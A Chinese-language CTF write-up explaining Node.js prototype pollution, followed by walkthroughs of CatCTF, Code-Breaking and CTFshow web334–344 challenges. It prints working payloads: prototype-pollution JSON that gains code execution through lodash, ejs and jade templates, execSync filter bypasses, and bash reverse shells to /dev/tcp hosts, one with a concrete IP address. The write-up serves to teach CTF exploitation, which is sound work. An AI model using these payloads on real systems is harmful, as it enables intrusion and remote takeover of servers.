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浅析CTF中的Node.js原型链污染

来源：Ghost系统之家浏览：时间：2023-04-11 09:17:04

浅析CTF中的Node.js原型链污染

作者：quan9i 2023-04-07 09:07:11安全应用安全在JavaScript中，每个对象都有一个原型，它是一个指向另一个对象的引用。当我们访问一个对象的属性时，如果该对象没有这个属性，JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续，直到找到该属性或者到达原型链的末尾。

前言

Node.js之前并未有太多了解，最近遇上了一些相关题目，发现原型链污染是其一个常考点，在学习后对其进行了简单总结，希望对正在学习的师傅有所帮助

Node.js

原型链污染

首先强推这篇文章https://developer.mozilla.org/，读完后就会对原型链有个大致的了解，对后面学习非常有帮助。所以说什么是原型链污染呢？

偏官方一点的解释如下

在JavaScript中，每个对象都有一个原型，它是一个指向另一个对象的引用。当我们访问一个对象的属性时，如果该对象没有这个属性，JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续，直到找到该属性或者到达原型链的末尾。攻击者可以利用这个特性，通过修改一个对象的原型链，来污染程序的行为。例如，攻击者可以在一个对象的原型链上设置一个恶意的属性或方法，当程序在后续的执行中访问该属性或方法时，就会执行攻击者的恶意代码。

简单的说呢，其实就是我们对原链中的某个属性进行了污染，向其中插入恶意代码，当我们再调用这个链（也就是使用这个对象）时，我们的恶意代码就会被触发，此时就达到了一个执行恶意代码的效果。说到原型链污染，那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。

proto和prototype

在JavaScript中，每个对象都有一个名为__proto__的内置属性，它指向该对象的原型。同时，每个函数也都有一个名为prototype的属性，它是一个对象，包含构造函数的原型对象应该具有的属性和方法。简单来说，__proto__属性是指向该对象的原型，而prototype属性是用于创建该对象的构造函数的原型。

这么说有点抽象，因此这里举个例子来进行说明，首先我们打开谷歌浏览器，F12，切换到控制台，而后我们写入如下代码

在例子中，我们创建了一个名为Person的构造函数，并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时，它会继承Person.prototype对象上的greet方法。因此，当我们调用person1.greet()时，它会输出"Hello, my name is Alice"。

在这里插入图片描述

从这里就可以看出，prototype是类Person的一个属性，所有用类Person进行实例化的对象，都会拥有prototype的全部内容。

我们实例化出来的person1对象，它是不能通过prototype访问原型的，但通过__proto__就可以实现访问Person原型，具体代码如下

console.log(person1.__proto__ === Person.prototype); // 输出 true

在这里插入图片描述

总结（摘自https://www.leavesongs.com）1、prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法2、一个对象的__proto__属性，指向这个对象所在的类的prototype属性

他们的关系图如下所示

在这里插入图片描述

具体过程

那么什么是原型链污染呢我们这里用一个简单例子来对其进行说明

var a = {number : 520}var b = {number : 1314}b.__proto__.number=520 var c= {}c.number

在这里插入图片描述

对这里的情况需要进行简单说明，我们可以看到在我们进行b.__proto__.number=520操作后，即使是内容为空的c，调用number属性仍存在且值为我们设定的520，这时就达到了一个原型链污染的目的。接下来再说一下可能部分师傅有疑问的点

一、为什么执行过b.__proto__.number=520后，我们输出b的值，其值仍为1314

这是因为在JavaScript中存在这样一种继承机制：我们这里调用b.number时，它的具体调用过程是如下所示的

1、在b对象中寻找number属性2、当在b对象中没有找到时，它会在b.__proto__中寻找number属性3、如果仍未找到，此时会去b.__proto__.__proto__中寻找number属性

也就是说，它从自身开始寻找，然后一层一层向上递归寻找，直到找到或是递归到null为止，此机制被称为JavaScript继承链，我们这里的污染的属性是在b.__proto__中，而我们的b对象本身就有number，所以其值并未改变。

二、为什么新建的值为空的c对象，调用c.number竟然有值而且为我们设定的520

当明白上个问题时，这个问题也就迎刃而解了，我们这里的c对象虽然是空的，但JavaScript继承链的机制就会使它继续递归寻找，此时也就来到了c.__proto__中寻找number属性，我们刚刚进行了原型链污染，它的c.__proto__其实就是Object.protoype，而我们进行污染的b.__proto__也是Object.prototype，所以此时它调用的number就是我们刚刚污染的属性，所以这也就是为什么c .number=520

它常见于当存在函数（其功能是将一个数组的内容复制到另一个数组中）的情况下，示例如下

function merge(target, source) {for (let key in source) {if (key in source && key in target) {// 如果target与source有相同的键名则让target的键值为source的键值merge(target[key], source[key])} else {target[key] = source[key]// 如果target与source没有相通的键名则直接在target新建键名并赋给键值}}}let o1 = {}let o2 =JSON.parse{a: 1, "__proto__": {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)

在这里插入图片描述

这里的话可以看到我们的o3内容为空，但调用b属性也是成功输出了2，说明我们刚刚的原型链污染成功了，这里也说一下可能部分师傅有疑问的点。

一、为什么要加JSON.parse，这个函数有什么作用，不加会怎么样？

这是因为，JSON解析的情况下，__proto__会被认为是一个真正的键名，而不代表原型，所以在遍历o2的时候会存在这个键。当不加的时候，他就会认为他是一个原型，此时情况如下

在这里插入图片描述

所以这也就是我们需要添加这个函数的原因

小拓展（js大小写特性）

对于toUpperCase()函数

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

详情可见https://www.leavesongs.com/

实战

CatCTF 2022 wife

环境参考https://adworld.xctf.org.cn/challenges/list打开题目

在这里插入图片描述

发现是一个登录界面，给出了注册界面，点击注册界面，可以发现需要一个邀请码

在这里插入图片描述

如果没有邀请码的话，我们进去是这个样子

在这里插入图片描述

此时如果考虑到JS原型链污染的话，就变得简单了，应该是我们越权拿到管理员权限，从而获取flag，其注册界面源码如下所示（比赛时是黑盒，这里并未给出源码）

app.post('/register', (req, res) => {let user = JSON.parse(req.body)if (!user.username || !user.password) {return res.json({ msg: 'empty username or password', err: true })}if (users.filter(u => u.username == user.username).length) {return res.json({ msg: 'username already exists', err: true })}if (user.isAdmin && user.inviteCode != INVITE_CODE) {user.isAdmin = falsereturn res.json({ msg: 'invalid invite code', err: true })}let newUser = Object.assign({}, baseUser, user)users.push(newUser)res.json({ msg: 'user created successfully', err: false })})

我们这里注意到Object.assign方法，他类似之前示例说的clone函数，Object.assign这个方法是可以触发原型链污染的，所以我们这里污染__proto__.isAdmin为true就可以了。

{"__proto__":{"isAdmin":true}

此时便可越权拿到flag

在这里插入图片描述

Code-Breaking 2018 Thejs

源码参考https://code-breaking.com/puzzle/9/#promo-block搭建环境的话，先安装一下express框架

cnpm i express -S

在这里插入图片描述

而后再安装一下lodash模块即可

npm install lodash

而后通过node server.js即可开启题目环境

在这里插入图片描述

环境如下

在这里插入图片描述

接下来简单看一下代码

#server.jsconst fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())app.use('/static', express.static('static'))app.use(session({name: 'thejs.session',secret: randomize('aA0', 16),resave: false,saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})return callback(null, rendered)})})app.set('views', './views')app.set('view engine', 'ejs')app.all('/', (req, res) => {let data = req.session.data || {language: [], category: []}if (req.method == 'POST') {data = lodash.merge(data, req.body)req.session.data = data}res.render('index', {language: data.language, category: data.category})})app.listen(3000, () => console.log(`Example app listening on port 3000!`))

首先我们这里可以发现存在merge函数

if (req.method == 'POST') {data = lodash.merge(data, req.body)req.session.data = data}

这里的含义也是比较简单，即将我们POST提交的信息，通过merge合并到session中，最终我们所有提交的信息都会被保存到session中去，那么存在这个merge函数的话，说明我们可以进行原型链污染，那么我们污染的参数该是什么呢，我们这个时候看这几行代码

fs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})

可以发现其对内容进行了lodash.template处理，我们跟进这个函数，具体代码可见https://github.com/lodash

可以发现这个sourceURL当没有值的时候就是一个空的状态，而当其有值时，就会取当前的这个值，我们看接下来他怎么处理

在这里插入图片描述

可以发现这里被放入了Function的第二个参数，此时我们就可以实现代码执行了。

所以我们污染的参数就是sourceURL，具体Payload如下所示

{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}

在这里插入图片描述

这里需要注意，我们的ConType-type需要修改为application/json，这样才能让__proto__成为键值而非原型，之所以可以直接这样修改是因为express框架支持根据Content-Type来解析请求Body。

同时，这里之所以不用require的原因如下

Function 环境下没有 require 函数，直接使用require('child_process') 会报错，所以我们要用 global.process.mainModule.constructor._load 来代替。

CTFshow系列

web334

给了一个附件(zip)，打开的话是两个文件，具体内容如下

#user.jsmodule.exports = {items: [{username: 'CTFSHOW', password: '123456'}]};#login.jsvar express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});};router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password); if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});}req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});});}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}});module.exports = router;

这里看到user.js里给出了账密，接下来我们在看login.js，这里的话可以看到对账号进行了一个toUpperCase()函数处理，这个函数的作用是将小写字符全部改为大写字符，如下图所示

在这里插入图片描述

因此我们这里的话账号是CTFSHOW，我们只需要输入ctfshow，他就可以变成CTFSHOW辣

在这里插入图片描述

web335

方法一

进入后环境如下

在这里插入图片描述

没看到有什么有用信息，这个时候查看一下源代码看看有没有有用信息

在这里插入图片描述

发现提示了eval参数，这个时候我们就需要看一个东西了，即如何在Node.js执行命令

http://nodejs.cn/api/child_process.html在其中可以看到这个函数

在这里插入图片描述

这个只需要写入命令即可，因此我们对其进行简单尝试

eval=require('child_process').execSync('ls')

在这里插入图片描述

成功执行命令，接下来尝试获取flag

eval=require('child_process').execSync('cat f*')

在这里插入图片描述

方法二

还有另一个函数

在这里插入图片描述

这个spawnSync函数的话是需要两个参数，返回值是一个可选项，但当返回值不填时，默认返回的是Object，所以这里其实是三个参数，即命令，命令的参数，以及返回格式，比如我们这里想执行ls .，那我们这里就可以写成spawnSync('ls',['.']).output，接下来尝试在靶场中执行

eval=require('child_process').spawnSync('ls',['.']).output

在这里插入图片描述

成功执行，接下来查看flag

eval=require('child_process').spawnSync('tac',['fl00g.txt']).output

在这里插入图片描述

web336

和上关的环境相似，这里尝试上关的payload

方法一

eval=require('child_process').execSync('cat f*')

在这里插入图片描述

回显tql，一眼顶真，这是某些字符串被过滤掉了，这里的话感觉应该是execSync，我们这里可以采用拼接的方法来进行绕过，然后本来的话是.execSync，我们这里可以修改为['exe'+'Sync']，小知识[xxx]=.xxx，因此我们这里尝试一下这个方法

eval=require('child_process')['exe'%2B'cSync']('ls')//+号进行了URL编码，这是因为不编码的话+会被解析为空格

在这里插入图片描述

同理，查看flag

在这里插入图片描述

方法二

用上面的第二个函数(spawnSync)可正常执行命令

eval=require('child_process').spawnSync('cat',['fl001g.txt']).output

在这里插入图片描述

web 337

题目给出了源代码，如下所示

重点在于

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);

md5的绕过，这里可以采用数组绕过的方式，构造如下语句即可

a[]=1&b=1

在这里插入图片描述

也可以采用这个payload

a[a]=1&b[b]=12

在这里插入图片描述

这是因为此时题目两个打印出来的是一致的，都是Object，所以

在这里插入图片描述

传传a[0]=1&b[0]=2不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2]，此时的结果

在这里插入图片描述

web338

这里给出了源代码，其中的login.js文件内容如下

这个用到了utils里的copy函数，我们这里看一下utils中comman.js文件里的内容

module.exports = {copy:copy};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

这个的话就是一个简单的赋值，看这里就能猜出考察点是Node.js的原型污染，这里我们如果key是__proto__，就可以实现一个属性污染，这里要求的条件secert.ctfshow==='36dboy'，如果我们去设置一个"__proto__":"ctfshow:36dboy",它首先在secret中寻找，没找到ctfshow，就会往上继续找，此时就会找到Object，因为Object.prototype中有ctfshow，所以此时我们就满足了条件，成功绕过

在这里插入图片描述

web339

方法一

#login.js 部分代码router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});}

单看这个login.js的话，我们这里不知道flag，肯定是无法满足secert.ctfshow===flag的与上题相似，但这里的api.js内容中有这样一串代码

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});

如果我们可以自定义query的内容，就可以实现RCE，所以我们这里的话就用原型链污染来修改__proto__的值，具体payload如下

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

在这里插入图片描述

接下来去访问api接口，从而调用这个query

在这里插入图片描述

此时查看我们监听的7777端口，成功反弹shell

在这里插入图片描述

cat login.js|grep flag

在这里插入图片描述

方法二

这个题使用了ejs模板，对于ejs模板RCE我们这里的话可以看一下这两篇文章https://evi0s.com/https://xz.aliyun.com/t/7184#toc-7里面对其进行了具体分析，我比较菜，没大看懂，只知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值，其内容是我们的恶意代码，然后我们再次请求，就可以触发这个代码的执行，具体payload如下

"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/监听端口 0>&1\"');var __tmp2"}

在这里插入图片描述

此时已成功写入恶意代码，接下来刷新一下界面即可成功反弹shell

web340

这里的话环境和上关类似，但login.js中的内容略有改动，具体如下

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){ res.end(flag);}else{ return res.json({ret_code: 2, ret_msg: '登录失败'});}});

改动点在于utils.copy(user.userinfo,req.body);，原本是user的，所以说也就是原型链多了一层，我们再套一层即可，本来的原型链应该是

user.__proto__->Object.__proto__

现在变成了

user.userinfo__proto->user.__proto__->Object.__proto__

因此我们这里在上一关的payload基础上多加一个__proto__即可，具体payload如下

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}}

在这里插入图片描述

而后POST发包访问/api接口

在这里插入图片描述

查看是否成功反弹shell

在这里插入图片描述

web341

这里缺少了api.js，这样的话就说明没法再去用之前的方法来做了，但考虑到这里的ejs模板，所以这里的话应该是用ejs来进行反弹shell的，尝试用此payload进行反弹shell，与之前payload相似，多套一层__proto__，具体payload如下

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}}}

而后刷新一下界面，以此来执行我们的恶意代码，接下来查看VPS是否成功反弹shell

在这里插入图片描述

这里的话flag没有在这里，需要我们自己找一下

find / |grep flagcat /flag

在这里插入图片描述

Web342

jade的原型链污染，参考链接https://xz.aliyun.com/t/7025，由于node.js了解较少，所以这里参考其他师傅的payload进行尝试，等学会node.js再对具体代码进行分析，payload如下

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}

在这里插入图片描述

接下来刷新界面，查看监vps

在这里插入图片描述

成功反弹shell，接下来查看flag即可

在这里插入图片描述

Web343

说是增加了过滤，但仍沿用上一关payload，亦可打通

在这里插入图片描述

Web344

源码如下

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

可以看到我们这里需要满足三个条件

1、query.name==='admin'2、query.password==='ctfshow'3、query.isVIP===true

我们这里平常的话如果没有过滤的话，直接这样写payload就可以

query={"name":"admin","password":"ctfshow","isVIP":true}

但这里存在过滤(req.url.match(/8c|2c|\,/ig))，%2c是,，所以我们这里不能再用逗号，我们这里可以使用&&来代替它，但此时发现还不行，这是因为:"ctfshow这里，这个"的编码是%22，而它和c连起来，此时就是%22c，此时就有2c了，所以不满足条件，因此我们这里需要对c进行一次URL编码，所以最终payload是

query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考文章

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascripthttps://xz.aliyun.com/t/7182#toc-7https://blog.csdn.net/miuzzx/article/details/111780832https://xz.aliyun.com/t/7184#toc-11

本文作者：quan9i，转载请注明来自FreeBuf.COM

责任编辑：武晓燕来源：FreeBuf.COM CTF原型JavaScript